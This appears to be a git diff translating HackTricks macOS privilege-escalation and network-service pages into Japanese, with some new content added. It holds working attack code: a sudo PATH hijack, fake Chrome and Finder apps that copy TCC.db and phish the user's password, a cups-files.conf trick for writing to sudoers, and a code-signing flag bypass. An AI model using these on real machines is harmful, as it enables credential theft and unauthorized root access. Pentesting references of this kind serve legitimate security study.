diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index fa8e2aeb4..3552e420b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -1,10 +1,10 @@ -# macOS Privilege Escalation +# macOS特権昇格 {{#include ../../banners/hacktricks-training.md}} -## TCC Privilege Escalation +## TCC特権昇格 -If you came here looking for TCC privilege escalation go to: +TCC特権昇格を探している場合は、次に進んでください: {{#ref}} macos-security-protections/macos-tcc/ @@ -12,26 +12,25 @@ macos-security-protections/macos-tcc/ ## Linux Privesc -Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: +**特権昇格に関するほとんどのトリックはLinux/Unixに影響を与えるものであり、MacOSにも影響を与えます**ので、次を参照してください: {{#ref}} ../../linux-hardening/privilege-escalation/ {{#endref}} -## User Interaction +## ユーザーインタラクション -### Sudo Hijacking +### Sudoハイジャック -You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking). - -However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:** +元の[Sudoハイジャック技術はLinux特権昇格の投稿内にあります](../../linux-hardening/privilege-escalation/#sudo-hijacking)。 +しかし、macOSは**`sudo`**を実行する際にユーザーの**`PATH`**を**維持**します。つまり、この攻撃を達成する別の方法は、**被害者がsudoを実行する際に実行する他のバイナリをハイジャックする**ことです: ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls < /tmp/privesc +whoami > /tmp/privesc fi /bin/ls "\$@" EOF @@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` +ユーザーがターミナルを使用している場合、**Homebrewがインストールされている**可能性が非常に高いです。したがって、**`/opt/homebrew/bin`**内のバイナリをハイジャックすることが可能です。 -Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**. +### Dockのなりすまし -### Dock Impersonation - -Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script: +いくつかの**ソーシャルエンジニアリング**を使用して、Dock内で**Google Chromeのなりすまし**を行い、実際に自分のスクリプトを実行することができます: {{#tabs}} {{#tab name="Chrome Impersonation"}} -Some suggestions: - -- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. +いくつかの提案: +- Dock内にChromeがあるか確認し、その場合はそのエントリを**削除**し、Dock配列の**同じ位置に****偽の**Chromeエントリを**追加**します。 ```bash #!/bin/sh @@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c < int main() { - char *cmd = "open /Applications/Google\\\\ Chrome.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /Applications/Google\\\\ Chrome.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Finder.app/Contents/MacOS/Finder.c < int main() { - char *cmd = "open /System/Library/CoreServices/Finder.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /System/Library/CoreServices/Finder.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Finder - CFBundleIdentifier - com.apple.finder - CFBundleName - Finder - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Finder +CFBundleIdentifier +com.apple.finder +CFBundleName +Finder +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data `Sharing` +これらはリモートでアクセスするための一般的な macOS サービスです。\ +これらのサービスは `System Settings` --> `Sharing` で有効/無効にできます。 -- **VNC**, known as “Screen Sharing” (tcp:5900) -- **SSH**, called “Remote Login” (tcp:22) -- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900) -- **AppleEvent**, known as “Remote Apple Event” (tcp:3031) - -Check if any is enabled running: +- **VNC**、別名「画面共有」 (tcp:5900) +- **SSH**、別名「リモートログイン」 (tcp:22) +- **Apple Remote Desktop** (ARD)、または「リモート管理」 (tcp:3283, tcp:5900) +- **AppleEvent**、別名「リモート Apple イベント」 (tcp:3031) +有効になっているかどうかを確認するには、次のコマンドを実行します: ```bash rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); @@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l); bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; ``` - ### Pentesting ARD -Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits. +Apple Remote Desktop (ARD) は、macOS 向けに特別に設計された [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) の強化版で、追加機能を提供します。ARD の顕著な脆弱性は、制御画面パスワードの認証方法で、パスワードの最初の 8 文字のみを使用するため、デフォルトのレート制限がないため、Hydra や [GoRedShell](https://github.com/ahhh/GoRedShell/) のようなツールを使用した [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) に対して脆弱です。 -Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation. - -To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command: +脆弱なインスタンスは、**nmap** の `vnc-info` スクリプトを使用して特定できます。`VNC Authentication (2)` をサポートするサービスは、8 文字のパスワード切り捨てのため、特にブルートフォース攻撃に対して脆弱です。 +特権昇格、GUI アクセス、またはユーザー監視などのさまざまな管理タスクのために ARD を有効にするには、次のコマンドを使用します: ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` +ARDは、観察、共有制御、完全制御を含む多様な制御レベルを提供し、ユーザーパスワードの変更後もセッションが持続します。これにより、Unixコマンドを直接送信し、管理者ユーザーとしてrootで実行することができます。タスクスケジューリングやリモートSpotlight検索は、複数のマシンにわたる機密ファイルのリモートでの低影響検索を容易にする注目すべき機能です。 -ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines. +## Bonjourプロトコル -## Bonjour Protocol +Bonjourは、Appleが設計した技術で、**同じネットワーク上のデバイスが互いに提供するサービスを検出する**ことを可能にします。Rendezvous、**ゼロコンフィギュレーション**、またはZeroconfとも呼ばれ、デバイスがTCP/IPネットワークに参加し、**自動的にIPアドレスを選択し**、他のネットワークデバイスにサービスをブロードキャストすることを可能にします。 -Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices. +Bonjourが提供するゼロコンフィギュレーションネットワーキングにより、デバイスは以下を実現できます: -Zero Configuration Networking, provided by Bonjour, ensures that devices can: +- **DHCPサーバーがない場合でも自動的にIPアドレスを取得**する。 +- **DNSサーバーを必要とせずに名前からアドレスへの変換を行う**。 +- **ネットワーク上の利用可能なサービスを発見する**。 -- **Automatically obtain an IP Address** even in the absence of a DHCP server. -- Perform **name-to-address translation** without requiring a DNS server. -- **Discover services** available on the network. +Bonjourを使用するデバイスは、**169.254/16範囲のIPアドレスを自分に割り当て**、ネットワーク上での一意性を確認します。Macはこのサブネットのルーティングテーブルエントリを維持し、`netstat -rn | grep 169`で確認できます。 -Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`. +DNSに関して、Bonjourは**マルチキャストDNS(mDNS)プロトコル**を利用します。mDNSは**ポート5353/UDP**で動作し、**標準DNSクエリ**を使用しますが、**マルチキャストアドレス224.0.0.251**をターゲットにします。このアプローチにより、ネットワーク上のすべてのリスニングデバイスがクエリを受信し応答できるようになり、レコードの更新が促進されます。 -For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records. +ネットワークに参加すると、各デバイスは通常**.local**で終わる名前を自己選択し、これはホスト名から派生するか、ランダムに生成されることがあります。 -Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated. +ネットワーク内のサービス発見は、**DNSサービスディスカバリー(DNS-SD)**によって促進されます。DNS SRVレコードの形式を利用し、DNS-SDは**DNS PTRレコード**を使用して複数のサービスのリストを可能にします。特定のサービスを求めるクライアントは`.`のPTRレコードを要求し、サービスが複数のホストから利用可能な場合、`..`形式のPTRレコードのリストを受け取ります。 -Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `.`, receiving in return a list of PTR records formatted as `..` if the service is available from multiple hosts. +`dns-sd`ユーティリティは、**ネットワークサービスの発見と広告**に使用できます。以下はその使用例です: -The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage: - -### Searching for SSH Services - -To search for SSH services on the network, the following command is used: +### SSHサービスの検索 +ネットワーク上のSSHサービスを検索するには、次のコマンドを使用します: ```bash dns-sd -B _ssh._tcp ``` +このコマンドは、\_ssh.\_tcp サービスのブラウジングを開始し、タイムスタンプ、フラグ、インターフェース、ドメイン、サービスの種類、インスタンス名などの詳細を出力します。 -This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name. - -### Advertising an HTTP Service - -To advertise an HTTP service, you can use: +### HTTP サービスの広告 +HTTP サービスを広告するには、次のようにします: ```bash dns-sd -R "Index" _http._tcp . 80 path=/index.html ``` +このコマンドは、ポート80で`/index.html`のパスを持つ「Index」という名前のHTTPサービスを登録します。 -This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`. - -To then search for HTTP services on the network: - +次に、ネットワーク上のHTTPサービスを検索するには: ```bash dns-sd -B _http._tcp ``` +サービスが開始されると、その存在をマルチキャストしてサブネット上のすべてのデバイスに利用可能であることを通知します。これらのサービスに興味のあるデバイスはリクエストを送信する必要はなく、単にこれらの通知を聞くだけです。 -When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements. - -For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network. - -Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services: +よりユーザーフレンドリーなインターフェースのために、Apple App Storeで入手可能な**Discovery - DNS-SD Browser**アプリは、ローカルネットワーク上で提供されているサービスを視覚化できます。 +また、カスタムスクリプトを作成して`python-zeroconf`ライブラリを使用してサービスをブラウズおよび発見することもできます。[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)スクリプトは、`_http._tcp.local.`サービスのためのサービスブラウザを作成し、追加または削除されたサービスを印刷することを示しています。 ```python from zeroconf import ServiceBrowser, Zeroconf class MyListener: - def remove_service(self, zeroconf, type, name): - print("Service %s removed" % (name,)) +def remove_service(self, zeroconf, type, name): +print("Service %s removed" % (name,)) - def add_service(self, zeroconf, type, name): - info = zeroconf.get_service_info(type, name) - print("Service %s added, service info: %s" % (name, info)) +def add_service(self, zeroconf, type, name): +info = zeroconf.get_service_info(type, name) +print("Service %s added, service info: %s" % (name, info)) zeroconf = Zeroconf() listener = MyListener() browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener) try: - input("Press enter to exit...\n\n") +input("Press enter to exit...\n\n") finally: - zeroconf.close() +zeroconf.close() ``` +### Bonjourの無効化 -### Disabling Bonjour - -If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command: - +セキュリティに関する懸念やその他の理由でBonjourを無効にする必要がある場合、次のコマンドを使用してオフにできます: ```bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ``` - -## References +## 参考文献 - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 439a1152f..09b2838fd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -7,10 +7,10 @@ **ディレクトリ**の権限: - **読み取り** - ディレクトリエントリを**列挙**できます -- **書き込み** - ディレクトリ内の**ファイル**を**削除/書き込み**でき、**空のフォルダ**を**削除**できます。 -- しかし、**書き込み権限**がない限り、**非空のフォルダ**を削除/変更することはできません。 +- **書き込み** - ディレクトリ内の**ファイル**を**削除/作成**でき、**空のフォルダ**を**削除**できます。 +- しかし、**書き込み権限**がない限り、**非空のフォルダ**を**削除/変更**することはできません。 - フォルダの名前を**変更**することは、そのフォルダを所有していない限りできません。 -- **実行** - ディレクトリを**横断**することが許可されています - この権利がないと、その中のファイルやサブディレクトリにアクセスできません。 +- **実行** - ディレクトリを**横断**することが**許可**されています。この権利がないと、その中のファイルやサブディレクトリにアクセスできません。 ### 危険な組み合わせ @@ -24,16 +24,22 @@ ### フォルダのルート R+X 特殊ケース -**ディレクトリ**内に**rootのみがR+Xアクセス**を持つファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読み取るために悪用される可能性があります。 +**rootのみがR+Xアクセス**を持つ**ディレクトリ**内にファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読み取るために悪用される可能性があります。 例: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) ## シンボリックリンク / ハードリンク -特権プロセスが**低特権ユーザー**によって**制御される**可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成された**可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイルを指す**ことができます。そして、特権プロセスはそのファイルに書き込みます。 +### 寛容なファイル/フォルダ + +特権プロセスが**低特権ユーザー**によって**制御**される可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成**された可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイルを指す**ことができ、特権プロセスはそのファイルに書き込みます。 攻撃者が**特権を昇格させるために任意の書き込みを悪用できる**他のセクションを確認してください。 +### オープン `O_NOFOLLOW` + +`open`関数で使用されるフラグ`O_NOFOLLOW`は、最後のパスコンポーネントでシンボリックリンクを追跡しませんが、パスの残りの部分は追跡します。パス内のシンボリックリンクを追跡しないようにする正しい方法は、フラグ`O_NOFOLLOW_ANY`を使用することです。 + ## .fileloc **`.fileloc`**拡張子のファイルは、他のアプリケーションやバイナリを指すことができるため、開くとアプリケーション/バイナリが実行されます。\ @@ -50,11 +56,15 @@ ``` -## 任意FD +## ファイルディスクリプタ -**プロセスが高い権限でファイルやフォルダを開くことができる**場合、**`crontab`**を悪用して**`EDITOR=exploit.py`**で`/etc/sudoers.d`内のファイルを開くことができ、`exploit.py`は`/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。 +### FDの漏洩(`O_CLOEXEC`なし) -例えば: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098) +`open`への呼び出しにフラグ`O_CLOEXEC`がない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は**特権ファイルに対するFDを継承します**。 + +**高い特権でファイルまたはフォルダを開くプロセスを作成できる場合**、**`crontab`**を悪用して、**`EDITOR=exploit.py`**で`/etc/sudoers.d`内のファイルを開くことができ、`exploit.py`は`/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。 + +例えば: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)、コード: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging ## 検疫xattrsトリックを避ける @@ -110,9 +120,9 @@ ls -le /tmp/test ``` ### **com.apple.acl.text xattr + AppleDouble** -**AppleDouble**ファイル形式は、ファイルとそのACEをコピーします。 +**AppleDouble**ファイル形式は、ファイルとそのACEを含むコピーを作成します。 -[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLのテキスト表現である**`com.apple.acl.text`**が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした。 +[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLテキスト表現が**`com.apple.acl.text`**として、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした。 詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。 @@ -142,6 +152,27 @@ ls -le test macos-xattr-acls-extra-stuff.md {{#endref}} +## 署名チェックのバイパス + +### プラットフォームバイナリチェックのバイパス + +一部のセキュリティチェックは、バイナリが**プラットフォームバイナリ**であるかどうかを確認します。たとえば、XPCサービスに接続を許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ(例:/bin/ls)を取得し、環境変数`DYLD_INSERT_LIBRARIES`を使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。 + +### フラグ`CS_REQUIRE_LV`と`CS_FORCED_LV`のバイパス + +実行中のバイナリが自分のフラグを変更して、次のようなコードでチェックをバイパスすることが可能です: +```c +// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ +int pid = getpid(); +NSString *exePath = NSProcessInfo.processInfo.arguments[0]; + +uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +status |= 0x2000; // CS_REQUIRE_LV +csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS + +status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); +NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status); +``` ## コード署名のバイパス バンドルには、**`_CodeSignature/CodeResources`** というファイルが含まれており、これは **バンドル** 内のすべての **ファイル** の **ハッシュ** を含んでいます。CodeResources のハッシュは **実行可能ファイル** にも **埋め込まれている** ため、それをいじることはできません。 @@ -194,9 +225,9 @@ CLIからリソースの署名を計算することができます: ```bash openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64 ``` -## DMGをマウントする +## Mount dmgs -ユーザーは、既存のフォルダーの上に作成されたカスタムDMGをマウントできます。これが、カスタムコンテンツを含むカスタムDMGパッケージを作成する方法です: +ユーザーは、既存のフォルダーの上に作成されたカスタムdmgをマウントできます。これが、カスタムコンテンツを含むカスタムdmgパッケージを作成する方法です: ```bash # Create the volume hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null @@ -226,7 +257,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg あなたのスクリプトが**シェルスクリプト**として解釈される場合、毎日トリガーされる**`/etc/periodic/daily/999.local`**シェルスクリプトを上書きすることができます。 -このスクリプトの実行を**偽装**することができます:**`sudo periodic daily`** +このスクリプトの実行を**偽装**するには、**`sudo periodic daily`**を使用します。 ### デーモン @@ -247,21 +278,41 @@ hdiutil create -srcfolder justsome.app justsome.dmg ``` -`/Applications/Scripts/privesc.sh`を生成し、**root**として実行したい**コマンド**を記述します。 +`/Applications/Scripts/privesc.sh`を生成し、**root**として実行したい**コマンド**を記述してください。 -### Sudoersファイル +### Sudoers File **任意の書き込み**が可能であれば、**`/etc/sudoers.d/`**フォルダ内にファイルを作成し、**sudo**権限を自分に付与することができます。 -### PATHファイル +### PATH files -**`/etc/paths`**ファイルは、PATH環境変数を設定する主な場所の一つです。これを上書きするにはrootである必要がありますが、**特権プロセス**から実行されるスクリプトが**フルパスなしでコマンドを実行**している場合、このファイルを変更することで**ハイジャック**できるかもしれません。 +ファイル**`/etc/paths`**は、PATH環境変数を設定する主な場所の一つです。上書きするにはrootである必要がありますが、**特権プロセス**から実行されるスクリプトが**フルパスなしでコマンドを実行**している場合、このファイルを変更することで**ハイジャック**できるかもしれません。 -また、**`/etc/paths.d`**にファイルを書き込むことで、`PATH`環境変数に新しいフォルダを追加することもできます。 +また、**`/etc/paths.d`**にファイルを書き込むことで、`PATH`環境変数に新しいフォルダを追加することができます。 -## 他のユーザーとして書き込み可能なファイルを生成 +### cups-files.conf -これは、私が書き込み可能なrootに属するファイルを生成します([**ここからのコード**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))。これも特権昇格として機能するかもしれません。 +この技術は[この書き込み](https://www.kandji.io/blog/macos-audit-story-part1)で使用されました。 + +次の内容でファイル`/etc/cups/cups-files.conf`を作成してください: +``` +ErrorLog /etc/sudoers.d/lpe +LogFilePerm 777 + +``` +このコマンドは、パーミッションが777のファイル`/etc/sudoers.d/lpe`を作成します。最後の余分なゴミは、エラーログの作成をトリガーするためのものです。 + +次に、`/etc/sudoers.d/lpe`に、特権を昇格させるために必要な設定を記述します。例えば、`%staff ALL=(ALL) NOPASSWD:ALL`のようにします。 + +その後、ファイル`/etc/cups/cups-files.conf`を再度修正し、`LogFilePerm 700`を指定して、新しいsudoersファイルが`cupsctl`を呼び出すことで有効になるようにします。 + +### サンドボックスエスケープ + +FSの任意の書き込みを使用してmacOSサンドボックスをエスケープすることが可能です。いくつかの例については、ページ[macOS Auto Start](../../../../macos-auto-start-locations.md)を確認してください。ただし、一般的な方法は、`~/Library/Preferences/com.apple.Terminal.plist`にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにし、それを`open`で呼び出すことです。 + +## 他のユーザーとして書き込み可能なファイルを生成する + +これは、私が書き込み可能なrootに属するファイルを生成します([**ここからのコード**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))。これは特権昇格としても機能する可能性があります。 ```bash DIRNAME=/usr/local/etc/periodic/daily @@ -275,7 +326,7 @@ echo $FILENAME ``` ## POSIX共有メモリ -**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これには、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることが含まれます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()`と`close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。 